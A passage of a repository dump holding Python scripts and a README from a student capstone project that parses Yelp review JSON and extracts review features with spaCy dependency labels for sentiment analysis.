filter combination (semantics : boolean and relation)\nExists : logged something at least once\nT :\n\"\"\"\n\nimport structlog\nimport logging\nimport pyparsing\n\n\n# A RUNTIME (AKA interpreter)\n\n# from pyparsing import Word, alphas\n# greet = Word( alphas ) + \",\" + Word( alphas ) + \"!\"\n# hello = \"Hello, World!\"\n# print(hello, \"->\", greet.parseString( hello ))\n\n\n\n#!/usr/bin/env python\nfrom prompt_toolkit.widgets import TextArea\n\n\"\"\"\nThis is an example of \"prompt_toolkit.contrib.regular_languages\" which\nimplements a little calculator.\nType for instance::\n > add 4 4\n > sub 4 4\n > sin 3.14\nThis example shows how you can define the grammar of a regular language and how\nto use variables in this grammar with completers and tokens attached.\n\"\"\"\nimport math\n\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.document import Document\nfrom prompt_toolkit.completion import WordCompleter\nfrom prompt_toolkit.contrib.regular_languages.compiler import compile\nfrom prompt_toolkit.contrib.regular_languages.completion import (\n GrammarCompleter,\n)\nfrom prompt_toolkit.contrib.regular_languages.lexer import GrammarLexer\nfrom prompt_toolkit.lexers import SimpleLexer\nfrom prompt_toolkit.styles import Style\nfrom prompt_toolkit.application import Application\nfrom prompt_toolkit.buffer import Buffer\nfrom prompt_toolkit.layout.containers import VSplit, Window\nfrom prompt_toolkit.layout.controls import BufferControl, FormattedTextControl\nfrom prompt_toolkit.layout.layout import Layout\nfrom prompt_toolkit.key_binding import KeyBindings\n\noperators1 = ['add', 'sub', 'div', 'mul']\noperators2 = ['cos', 'sin']\n\n\ndef create_grammar():\n return compile(r\"\"\"\n (\\s* (?P<operator1>[a-z]+) \\s+ (?P<var1>[0-9.]+) \\s+ (?P<var2>[0-9.]+) \\s*) |\n (\\s* (?P<operator2>[a-z]+) \\s+ (?P<var1>[0-9.]+) \\s*)\n \"\"\")\n\n\nexample_style = Style.from_dict({\n 'operator': '#33aa33 bold',\n 'number': '#ff0000 bold',\n\n 'trailing-input': 'bg:#662222 #ffffff',\n})\n\n\ng = create_grammar()\n\nlexer = GrammarLexer(g, lexers={\n 'operator1': SimpleLexer('class:operator'),\n 'operator2': SimpleLexer('class:operator'),\n 'var1': SimpleLexer('class:number'),\n 'var2': SimpleLexer('class:number'),\n})\n\ncompleter = GrammarCompleter(g, {\n 'operator1': WordCompleter(operators1),\n 'operator2': WordCompleter(operators2),\n})\n\n\n#TODO : this should probably be a functor/lens (two way communication, see ML applications...)\ndef dummy_inner_loop(inner_in):\n \"\"\"A dummy pure function as scaffold\"\"\"\n return f\"inner out: {inner_in}\"\n\n# A REPL (AKA interactive differential configuration)\n\n\nkb = KeyBindings()\n\n\[email protected]('c-c', eager=True)\[email protected]('c-q', eager=True)\ndef exit_(event):\n \"\"\"\n Pressing Ctrl-Q will exit the user interface.\n\n Setting a return value means: quit the event loop that drives the user\n interface and return this value from the `Application.run()` call.\n \"\"\"\n event.app.exit()\n\n\n# Now we add an event handler that captures change events to the buffer on the\n# left. If the text changes over there, we'll update the buffer on the right.\n\nright_buffer = Buffer() # Output buffer.\n\n\ninput_field = TextArea(\n height=1, prompt='>>> ', style='class:input-field', multiline=False,\n wrap_lines=False)\n\n# Attach accept handler to the input field. We do this by assigning the\n# handler to the `TextArea` that we created earlier. it is also possible to\n# pass it to the constructor of `TextArea`.\n# NOTE: It's better to assign an `accept_handler`, rather then adding a\n# custom ENTER key binding. This will automatically reset the input\n# field and add the strings to the history.\ndef accept(buff):\n # Evaluate \"calculator\" expression.\n try:\n output = '\\n\\nIn: {}\\nOut: {}'.format(\n input_field.text,\n eval(input_field.text)) # Don't do 'eval' in real code!\n except BaseException as e:\n output = '\\n\\n{}'.format(e)\n new_text = right_buffer.text + output\n\n # Add text to output buffer.\n right_buffer.document = Document(\n text=new_text, cursor_position=len(new_text))\n\n\ninput_field.accept_handler = accept\n\n\ndef application():\n\n root_container = VSplit([\n # One window that holds the BufferControl with the default buffer on\n # the left.\n input_field,\n\n # A vertical line in the middle. We explicitly specify the width, to\n # make sure that the layout engine will not try to divide the whole\n # width by three for all these windows. The window will simply fill its\n # content by repeating this character.\n Window(width=1, char='|'),\n\n # Display the text 'Hello world' on the right.\n Window(content=BufferControl(buffer=right_buffer)),\n ])\n\n layout = Layout(root_container)\n\n # TODO : different layout if input/output not a terminal...\n application = Application(\n key_bindings=kb,\n layout=layout,\n full_screen=True,\n )\n return application\n\n\nasync def main():\n\n result = await application().run_async()\n print(result)\n\n\nif __name__ == '__main__':\n\n # handle arguments. one arg is config file or pipe...\n\n print(application().run())\n\n # TODO : async (careful with key bindings and I/O...)\n #import asyncio # TODO : trio ?\n #asyncio.get_event_loop().run_until_complete(main())\n\n" }, { "alpha_fraction": 0.5646067261695862, "alphanum_fraction": 0.5786516666412354, "avg_line_length": 24.309524536132812, "blob_id": "77e3ccdccd01404c32d6923f2ea01c955cbdd503", "content_id": "9ddca41e7188b54f25269d5f981659482b1c4851", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1068, "license_type": "no_license", "max_line_length": 75, "num_lines": 42, "path": "/bb.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "import random\nimport typing\n\nfrom dual import Dual\n\n\ndef blackboxfun(i):\n return Dual(4) + Dual(3) * i + Dual(42) * i*i - i*i*i\n\n# NOTE : coefficients need to be dual to work !!!!!!\n# => cannot be used as is on existing code\n# => could be used as imlpementation of new language,\n# where constants are implicit duals (or more, see grassman - n dimensions)\n# Benefit: Transparent Automatic optimization of simple systems :\n# -\n\ndef draw(m, M):\n return (m + M) // 2\n\n\ndef find_min(m, M) -> bool:\n if M - m == 1:\n print(f\"Minimum in {m} {M}\")\n return True\n\n r = draw(m, M)\n rr = blackboxfun(Dual(r))\n print(f\"{r} -> {rr.real} {rr.derivative}\")\n if rr.derivative > 0:\n if r == m:\n raise RuntimeError(\"nomin left side\")\n return find_min(m, r)\n elif rr.derivative < 0:\n if r == M:\n raise RuntimeError(\"nomin right side\")\n return find_min(r, M)\n else: ## ==0 !! it is a local extremum\n print(f\"minimum found : bbf({r}) = {rr}\")\n return True\n\n\nfind_min(-100, 100)\n\n\n\n\n\n" }, { "alpha_fraction": 0.646161675453186, "alphanum_fraction": 0.6553126573562622, "avg_line_length": 22.710844039916992, "blob_id": "9d3da944ace5e4f39bc22e0c74be572731605940", "content_id": "aeb8b9352b8c32ab4bcb3c9450b8f43855a5a6c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1967, "license_type": "no_license", "max_line_length": 81, "num_lines": 83, "path": "/hex/id.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nIdentity on streams\nBotIn : bytes stream\nBotOut : bytes stream\nUsrIn : text stream\nUsrOut : text stream\nSysIn : Nothing : Empty State (rely on python interpreter + OS)\nSysOut : Nothing : Unchanged state (rely on python interpreter + OS)\nThis is a basic building block of Python Hexagonal Architecture\nIt can be seen as a filter on stream,\n\"\"\"\nimport asyncio\n\nimport aioconsole\n\n\ndef usr_id(d):\n return d\n\ndef bot_id(d):\n return d\n\n\n### HANDLING SYSTEM SIGNAL IS INTEGRATED IN LANGUAGE since we are doing python...\nimport signal, os\n\ndef handler(signum, frame):\n print('Signal handler called with signal', signum)\n raise OSError(\"Couldn't open device!\")\n\n# # Set the signal handler and a 5-second alarm\n# signal.signal(signal.SIGALRM, handler)\n# signal.alarm(5)\n#\n# # This open() may hang indefinitely\n# fd = os.open('/dev/ttyS0', os.O_RDWR)\n#\n# signal.alarm(0) # Disable the alarm\n\n\nasync def usrIO(stdin, stdout):\n line = await stdin.readline()\n message = line.decode()\n\n stdout.write(usr_id(message))\n yield line\n\n\nasync def usr():\n stdin, stdout = await aioconsole.get_standard_streams()\n while True: # TODO : signal handling -> system interaction\n async for l in usrIO(stdin, stdout):\n # do something for each line\n pass\n\n\n# async def botIO(reader, writer):\n# data = await reader.read(100)\n# message = data.decode()\n# addr = writer.get_extra_info('peername')\n#\n# print(f\"Received {message!r} from {addr!r}\")\n#\n# print(f\"Send: {message!r}\")\n# writer.write(bot_id(data))\n# await writer.drain()\n#\n# print(\"Close the connection\")\n# writer.close()\n#\n#\n# async def bot():\n# server = await asyncio.start_server(\n# botIO, '127.0.0.1', 8888)\n#\n# addr = server.sockets[0].getsockname()\n# print(f'Serving on {addr}')\n#\n# async with server:\n# await server.serve_forever()\n\n#asyncio.run(asyncio.gather(bot(), usr()))\nasyncio.run(usr())" }, { "alpha_fraction": 0.5885045528411865, "alphanum_fraction": 0.5981688499450684, "avg_line_length": 23.886075973510742, "blob_id": "b876b105bcb13b788ab22a1eab199bb407a5d9b6", "content_id": "a90b1123f00223af33b50200011c62c716f4d827", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1966, "license_type": "no_license", "max_line_length": 79, "num_lines": 79, "path": "/repl.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n\"\"\"\nThis is an example of \"prompt_toolkit.contrib.regular_languages\" which\nimplements a little calculator.\n\nType for instance::\n\n > add 4 4\n > sub 4 4\n > sin 3.14\n\nThis example shows how you can define the grammar of a regular language and how\nto use variables in this grammar with completers and tokens attached.\n\"\"\"\nimport math\n\nfrom prompt_toolkit import prompt\nfrom prompt_toolkit.completion import WordCompleter\nfrom prompt_toolkit.contrib.regular_languages.compiler import compile\nfrom prompt_toolkit.contrib.regular_languages.completion import (\n GrammarCompleter,\n)\nfrom prompt_toolkit.contrib.regular_languages.lexer import GrammarLexer\nfrom prompt_toolkit.lexers import SimpleLexer\nfrom prompt_toolkit.styles import Style\n\noperators = ['witness', 'assume']\n\n\ndef create_grammar():\n \"\"\"\n Grammar\n :return:\n \"\"\"\n return compile(r\"\"\"\n (\\s* (?P<operator>[a-z]+) (\\s+ (?P<var>[0-9.]+) )*)\n \"\"\")\n\n\nexample_style = Style.from_dict({\n 'filter': '#33aa33 bold',\n\n 'trailing-input': 'bg:#662222 #ffffff',\n})\n\n\nif __name__ == '__main__':\n g = create_grammar()\n\n lexer = GrammarLexer(g, lexers={\n 'operator': SimpleLexer('class:operator'),\n 'var': SimpleLexer('class:number'),\n })\n\n completer = GrammarCompleter(g, {\n 'operator': WordCompleter(operators),\n })\n\n try:\n # REPL loop.\n while True:\n # Read input and parse the result.\n text = prompt('Calculate: ', lexer=lexer, completer=completer,\n style=example_style)\n m = g.match(text)\n if m:\n v = m.variables()\n else:\n print('Invalid command\\n')\n continue\n\n print(v)\n if v.get('operator'):\n\n # Execute and print the result.\n print('Result: %s\\n' % (v.get('operator')))\n\n except EOFError:\n pass\n" }, { "alpha_fraction": 0.6726862192153931, "alphanum_fraction": 0.6794582605361938, "avg_line_length": 12, "blob_id": "1702d701e9a11fc8eca87d42b349fc61df1bbd56", "content_id": "1682c15ecfb37387c32dc721d1e3dd0759b117ab", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 443, "license_type": "no_license", "max_line_length": 118, "num_lines": 34, "path": "/hex/tri/__init__.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nConcept :\nHexagonal architecture can be implemented in various ways depending on host language.\nHowever we should attempt to keep a structure of 6 triangles in order to make cross-checks and compatibility easier...\n\nGiven the hex architecture 3 divisions :\n __\n/ _/\\\n\\/__/\n\nProactor / Reactor\n\n __\n/___\\\n\\___/\n\nInside / Outside\n\n __\n/\\_ \\\n\\__\\/\n\nHidden /Shown\n\nwe obtain the 6 triangles by combinations :\n\nPIH\nPOH\nPOS\nROS\nRIS\nRIH\n\n\"\"\"\n\n" }, { "alpha_fraction": 0.6786922216415405, "alphanum_fraction": 0.6786922216415405, "avg_line_length": 15.754716873168945, "blob_id": "8180ba19127c5d74adadb422543f841da9f95857", "content_id": "221b7bf3bd92a6ff8384dcf116b359e795d2ebc7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 887, "license_type": "no_license", "max_line_length": 63, "num_lines": 53, "path": "/hex/filter.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nDictStream filters\nFastIn : stream of dicts\nFastOut : stream of dicts\nSlowIn : Configuration : Regular expression of dict filters\nSlowOut : stream of dicts, that match the filters\nThis is a basic building block of Python Hexagonal Architecture\nIt can be seen as a filter on stream,\n\"\"\"\nimport asyncio\n\nimport aioconsole\n\n\nasync def filter(d, filter_string):\n for key, val in d.items():\n if filter_string not in key:\n continue\n yield key, val\n\nasync def intrp(line, stdout):\n stdout.write(line)\n return line\n\n\nasync def userin():\n stdin, stdout = await aioconsole.get_standard_streams()\n async for line in stdin:\n await intrp(line)\n\nasync def sysin():\n # TODO : wait on network...\n\n\n\n\nloop = asyncio.get_event_loop()\nloop.run_until_complete(echo())\n\n\nasync def run(config={}):\n\n\n yield(d, config)\n\n pass\n\n\n\n\n\n\nasyncio.run(run())" }, { "alpha_fraction": 0.7399380803108215, "alphanum_fraction": 0.7399380803108215, "avg_line_length": 19.25, "blob_id": "e421245f5ae1b164d98280201dd68e709f2112db", "content_id": "4f7a4c03068e6c725489bd398ec8ee1cffd62524", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 323, "license_type": "no_license", "max_line_length": 82, "num_lines": 16, "path": "/store.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "\"\"\"\nDictStream filters as regular logic\nFastIn : stream (Any / OS specific)\nFastOut : None\nSlowIn : None\nSlowOut : None\nThis is a basic building block of Python Hexagonal Architecture\nIt can be seen as integration with the underlying system / OS (based on a stream),\n\"\"\"\n\n\n\n\n# TODO : stream interface\n\n# to file/sqlite/etc." }, { "alpha_fraction": 0.5551626682281494, "alphanum_fraction": 0.5579915046691895, "avg_line_length": 15.797618865966797, "blob_id": "ebdaa8a779790092b0bf9ad4f17e59540ae2f6d6", "content_id": "d713888d86f8cb26871966aeb9e716874462b4b2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1414, "license_type": "no_license", "max_line_length": 84, "num_lines": 84, "path": "/foldsy.py", "repo_name": "asmodehn/hex", "src_encoding": "UTF-8", "text": "from collections import namedtuple\n\nnamedtuple(\"Kinds\", \"\")\n\n\n\n\n\n\ndef kind(level=, set=None):\n return (0, 0, set if set is not None else set())\n\n\ndef sort(level=, ):\n return (1, kind(level=level), set())\n\n\ndef var(level=, set=None):\n return (2, sort(level=level), set if set is not None else set())\n\n\n\ndef context(*vars):\n return set(vars)\n\ndef specialization():\n def impl(*vars):\n\n return ()\n\n\n\nclass Context:\n\n def __init__(self, *vars: Variable):\n\n\n def __enter__(self):\n pass\n\n def __exit__(self, exc_type, exc_val, exc_tb):\n pass\n\nclass Kind:\n\n def __init__(self, name, context: Context = None) -> None:\n self.name = name\n self.context = context\n\n def __repr__(self):\n return self.name + \"::\" + self.context\n\nclass Sort:\n\n def __init__(self, name, kind: Kind) -> None:\n self.name = name\n self.kind = kind\n\n\n def __call__(self, var_name: str) -> Variable:\n \n\nclass Variable:\n\n def __init__(self, name, sort: Sort) -> None:\n self.name = name\n self.sort = sort\n\n\n\n\nclass Spec:\n\n def __call__(self, fun):\n\n def wrapper(self, *args, **kwargs ):\n\n assert args in context\n assert kwargs in context\n\n # function implementation is left to implementer... must be a function !\n result = fun(*args, **kwargs)\n\n assert result in context\n\n\n\n" } ]
13
wooings/ViT-pytorch-1
https://github.com/wooings/ViT-pytorch-1
572f2f64cf92061af26cc932c22237c0f3e6fada
1bdf26adecdffcc4c20674fea55698007e9ef09a
301a1fd672127999a5132e4255c6ffd84b427dd5
refs/heads/main
2023-08-07T01:46:19.565769
2021-08-26T07:24:39
2021-08-26T07:24:39
400,079,167
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6196581125259399, "alphanum_fraction": 0.6196581125259399, "avg_line_length": 22.399999618530273, "blob_id": "9b410a071f710d3953449302ace08014cb779ea7", "content_id": "26009f53a3a91bb9ec3b8f37374407e329154769", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 234, "license_type": "permissive", "max_line_length": 44, "num_lines": 10, "path": "/utils/path_util.py", "repo_name": "wooings/ViT-pytorch-1", "src_encoding": "UTF-8", "text": "from os.path import join\nfrom os.path import normpath\nimport platform\n\ndef pjoin(path, *paths):\n p = join(path, *paths)\n if platform.system() == \"Windows\":\n return normpath(p).replace('\\\\','/')\n else:\n return p\n" } ]
1
wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-
https://github.com/wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-
92d66a9bc4cf420801e480a3a0dafa641f901ba3
1c90ba16285be7342d75b0b9522ed3ed757a333d
f4fafc255c28f6d65221d2ef8775a7cb99e40bff
refs/heads/master
2020-04-11T18:19:23.738001
2019-10-30T06:05:12
2019-10-30T06:05:12
161,994,285
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4984374940395355, "alphanum_fraction": 0.528124988079071, "avg_line_length": 21.821428298950195, "blob_id": "4da993c82e1e9b35789fa7067fdaf6099fc5c3c7", "content_id": "bd4b277affaf10c9417fbe2e313e3bd9deb7b8f7", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 640, "license_type": "no_license", "max_line_length": 52, "num_lines": 28, "path": "/eval generate.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "\narray = []\ncorrect = 0\ntotal = 0\nsent_correct = 0\nfeat_correct = 0\nwrong = 0\n\n\nwith open(\"cleaned/correct_copy1.txt\", \"r\") as file:\n for x in file.readlines():\n if x == \"11\\n\":\n correct += 1\n if x == \"10\\n\":\n feat_correct += 1\n\n if x == \"01\\n\":\n sent_correct += 1\n if x == \"00\\n\":\n wrong += 1\n total += 1\n\nprint(\"Correct: \" + str(correct))\nprint(\"wrong: \" + str(wrong))\nprint(\"# features correct: \" + str(feat_correct))\nprint(\"# of sent correct: \" + str(sent_correct))\nprint(\"Total: \" + str(total))\npercent = correct / total\nprint(\"percent\" + str(percent))\n" }, { "alpha_fraction": 0.3853626847267151, "alphanum_fraction": 0.3853626847267151, "avg_line_length": 39.90066146850586, "blob_id": "bd114436daf92cd61247d149279d6283abd7bc04", "content_id": "5a8142fa1e0d9324704b34bdaf8cb0310c03546a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6176, "license_type": "no_license", "max_line_length": 115, "num_lines": 151, "path": "/classify_v2_no_tag.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "import os\nfrom classify import pos_tag, word_dep\nfrom nltk.tokenize import RegexpTokenizer\nimport sys\nimport spacy\nimport json\nfrom textblob import TextBlob\n\n\ndef file_create(file_address):\n print(\"start\")\n file = open(file_address, \"r\")\n temp = \"\"\n\n for x in file:\n parsed_json = json.loads(str(x))\n raw_review = parsed_json['raw_review']\n # print(raw_review)\n filename = str(\"cleaned/\" + file_address)\n\n # begin writing of text\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n with open(filename, \"a+\") as f:\n temp_dict = dict()\n temp_dict.update({'raw_review': raw_review})\n # temp_dict.update({'tagged_review': tagged_list})\n # temp_dict.update({\"word_dep_review\": word_dep_list})\n # print(temp_dict)\n\n # cleaned_words = pos_tag(full)\n # https://stackabuse.com/reading-and-writing-lists-to-a-file-in-python/\n json.dump(temp_dict, f)\n\n f.close()\n print(\"file closed\")\n return temp_dict\n\n\ndef classify_raw(file):\n file = open(file, \"r\")\n for x in file:\n data = json.loads(x)\n\n # print(review)\n sentence_list = []\n full_review = []\n placeholder = []\n nlp = spacy.load('en_core_web_sm')\n list = data[\"raw_review\"]\n for x in list:\n review = TextBlob(x)\n\n for sentence in review.sentences:\n doc = nlp(str(sentence))\n #print(sentence)\n # for each individual review in a list\n for token in doc:\n # for each word in a list\n # subjects include dobj\n # adjectives include acomp and pobj\n\n # subjects incl nsubj\n # adjectives incl attr acomp\n if token.pos_ == \"NOUN\" or token.pos_ == \"ADJ\" or token.pos_ == \"ADV\" or token.pos_ == \"PROPN\":\n if token.dep_ == \"nsubj\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"dobj\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"compound\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"ROOT\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"advmod\":\n if token.tag_ != \"WRB\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"amod\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"attr\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"acomp\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"pobj\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n if token.text != \"pm\":\n placeholder.append(result)\n if token.dep_ == \"nsubjpass\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"conj\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"npadvmod\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n if token.dep_ == \"cconj\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n\n placeholder.append(result)\n\n if token.dep_ == \"neg\":\n result = (str(token))\n # print(result)\n if token.is_stop != \"True\":\n placeholder.append(result)\n\n sentence_list.append(placeholder)\n placeholder = []\n\n full_review.append(sentence_list)\n sentence_list = []\n\n return full_review\n" }, { "alpha_fraction": 0.6330071091651917, "alphanum_fraction": 0.6338967680931091, "avg_line_length": 33, "blob_id": "5f3efdcff217c9b68d04903e0c6dcbbcff0b2094", "content_id": "b8017cecdf086366ca683b96b6c025f355a0694f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2248, "license_type": "no_license", "max_line_length": 114, "num_lines": 66, "path": "/json_to_main.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "import spacy\nimport nltk.classify.util\nfrom nltk.corpus import stopwords\nfrom nltk.classify import NaiveBayesClassifier\nfrom nltk.tokenize import word_tokenize\nfrom nltk.corpus import wordnet\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn import metrics\nfrom sklearn.feature_extraction.text import CountVectorizer\nimport os\nimport errno\n# from sklearn.cross_validation import cross_val_score\nfrom classify import pos_tag, word_dep\nfrom nltk.tokenize import RegexpTokenizer\nimport sys\nimport json\n\nsys.path.append('/Users/Work/Documents/College/Senior/Senior Seminar/Main/virtualenv/lib/python3.6/site-packages')\n\ndef sort(input_dictionary):\n\n #for each business\n for business in input_dictionary:\n #get list containing all reviews\n review_list = input_dictionary[business]\n #replace n symbols\n #print(\"This is the review list \" + str(review_list))\n review_list = {x.replace('\\n', '') for x in review_list}\n #print(\"This is after replacement \" + str(review_list))\n tokenizer = RegexpTokenizer(\"[\\w']+\")\n full = []\n tagged_list = []\n word_dep_list = []\n\n #tokenize the words in each individual review within the full list of reviews\n for x in review_list:\n\n # useful_words = tokenizer.tokenize(x)\n # full.append(useful_words)\n full.append(x)\n\n # tags = pos_tag(x)\n # tagged_list.append(tags)\n #\n # word_dep_labeled = word_dep(x)\n # word_dep_list.append(word_dep_labeled)\n\n\n print(business)\n filename = str(\"raw_output/\" + business + \".txt\")\n\n #begin writing of text\n os.makedirs(os.path.dirname(filename), exist_ok=True)\n with open(filename, \"a+\") as f:\n temp_dict = dict()\n temp_dict.update({'raw_review': full})\n # temp_dict.update({'tagged_review': tagged_list})\n # temp_dict.update({\"word_dep_review\": word_dep_list})\n #print(temp_dict)\n\n #cleaned_words = pos_tag(full)\n #https://stackabuse.com/reading-and-writing-lists-to-a-file-in-python/\n json.dump(temp_dict, f)\n\n f.close()\n print(\"file closed\")\n\n\n\n\n" }, { "alpha_fraction": 0.8208828568458557, "alphanum_fraction": 0.825127363204956, "avg_line_length": 167.2857208251953, "blob_id": "8f1defbd9fb8d43ec1b245b95c57f3b1441b3266", "content_id": "c1febc8c9cba5e00bd25693e616132233842fb25", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1184, "license_type": "no_license", "max_line_length": 538, "num_lines": 7, "path": "/README.md", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "For the past several months, I have been attempting to create an effective feature based sentiment analyzer for review data. What does that mean? Well to answer a question that nobody asked…\n\nFeature search is nothing more than just searching for information related to a specific topic. Thus, a feature search will crawl through different documents looking for instances of that topic. Sentiment analysis is also nothing more than just identifying whether a piece of text carries more negative, neutral or positive sentiment. Feature based sentiment analysis then is a combination of the two, where one searches for features, their associated descriptors and examines whether these feature are positively or negatively described.\n\nThe features that I’m searching for in particular are descriptions associated with aspects of a business. This could be several things, with acceptable examples being how the ambience of a restaurant is described and how the texture of the noodle dish is. The text I’ll be searching through to identify these features are archived, anonymized Yelp reviews.\n\nFor more information:https://medium.com/@adventures_in_oxycs/comps-writeup-a4ead65ed2b8\n" }, { "alpha_fraction": 0.5956678986549377, "alphanum_fraction": 0.5972150564193726, "avg_line_length": 33.01754379272461, "blob_id": "56b76f623834421f4ce00b39a81718a93edbde75", "content_id": "5bd8a0d0b60462396136a46efae642cff451f728", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1939, "license_type": "no_license", "max_line_length": 116, "num_lines": 57, "path": "/json_convert.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "# Begin Section of Code Specifically Designed for the Json File\nimport json\n\n\ndef load_dict(input_data):\n all_dict = dict()\n #create a reference file for the inputted review data\n file = open(input_data, \"r\")\n #initialize the input to blank\n input = \"\"\n #check if the input file is a test one or the real one\n if input_data == \"yelp_dataset/yelp_academic_dataset_review.json\" or input_data == \"yelp_dataset/testfile.json\":\n input = \"text\"\n else:\n input = 'caption'\n\n # parsed_json = json.loads(str(file))\n #begin parsing throug the json file\n for x in file:\n # load each set containing review information\n parsed_json = json.loads(str(x))\n name_entry = parsed_json['business_id']\n #print(name_entry)\n # check if the business name does not exist yet\n #print(name_entry)\n if name_entry in all_dict:\n #print(\"yes\")\n #check if the new review text is empty\n if parsed_json[input] == '':\n continue\n #print(parsed_json[input])\n #create a temporary list corresponding to the value assoc. with key\n templist = all_dict[name_entry]\n #append the new review data into that temporary list\n templist.append(parsed_json[input])\n #update value to key in the dictionary\n all_dict.update({name_entry:templist})\n\n\n\n else:\n # if false, create a new dictionary but first create a container list\n list = [parsed_json[input]]\n if list == ['']:\n continue\n #print(\"here\")\n #print(list)\n all_dict.update({name_entry:list})\n # add dictionary to superset dictionary\n return all_dict\n\n # print(\"done\")\n # print(all_dict['3Nw_mnpdpqtAJ5bRt0jsvw'])\n\n\n# file = \"yelp_dataset/yelp_academic_dataset_review.json\"\n# cleaned_file = Sort(file)\n" }, { "alpha_fraction": 0.7065120339393616, "alphanum_fraction": 0.7172167897224426, "avg_line_length": 30.97142791748047, "blob_id": "9c0ad4cba70cf3d1e8643d95b169205f38b31a54", "content_id": "dbb52280cd44469736c4029a4d973667501fc3bf", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1121, "license_type": "no_license", "max_line_length": 64, "num_lines": 35, "path": "/Main.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", "src_encoding": "UTF-8", "text": "from json_convert import load_dict\nfrom json_to_main import sort\nfrom classify_v2 import file_create, classify\nfrom classify_v2_no_tag import classify_raw\nimport json\n\nfile1 = \"yelp_dataset/yelp_academic_dataset_review.json\"\nfile2 = 'yelp_dataset/yelp_academic_dataset_photo.json'\nfile3 = 'yelp_dataset/testfile.json'\nfile4 = 'raw_output/f5O7v_X_jCg2itqacRfxhg.txt'\n\n# def section_one():\n# #This section of Code Converts things\n# #Use json_convert's sort to clean the data\n# print(\"start\")\n# cleaned_dict = load_dict(file1)\n# print(cleaned_dict)\n# print(\"middle\")\n# #begin cleaning data\n# #use json_to_main to sort data into positive and negative\n# #sort(cleaned_dict)\n# print(\"finished\")\ndef section_two(address):\n #This section of code will be our next classifier:\n\n dependencies = classify_raw(address)\n return dependencies\n#section_one()\n#create the list of relevant things\n#file_create(file4)\n#sort out the stuff\naddress = \"cleaned/\" + file4\nlist = section_two(address)\nwith open(\"cleaned/output/cleaned_notag.txt\", \"a+\") as finished:\n json.dump(list, finished)\n\n\n" }, { "alpha_fraction": 0.5150300860404968, "alphanum_fraction": 0.5150300860404968, "avg_line_length": 26.163637161254883, "blob_id": "e45e524762e4623e32ed70673fdedbafa6182bb3", "content_id": "7d92c661293600ce22e55478bc50d73c4cceb98d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1497, "license_type": "no_license", "max_line_length": 53, "num_lines": 55, "path": "/classify.py", "repo_name": "wchen-oxy/Sentiment-Analysis-and-Feature-Search-Senior-Capstone-", 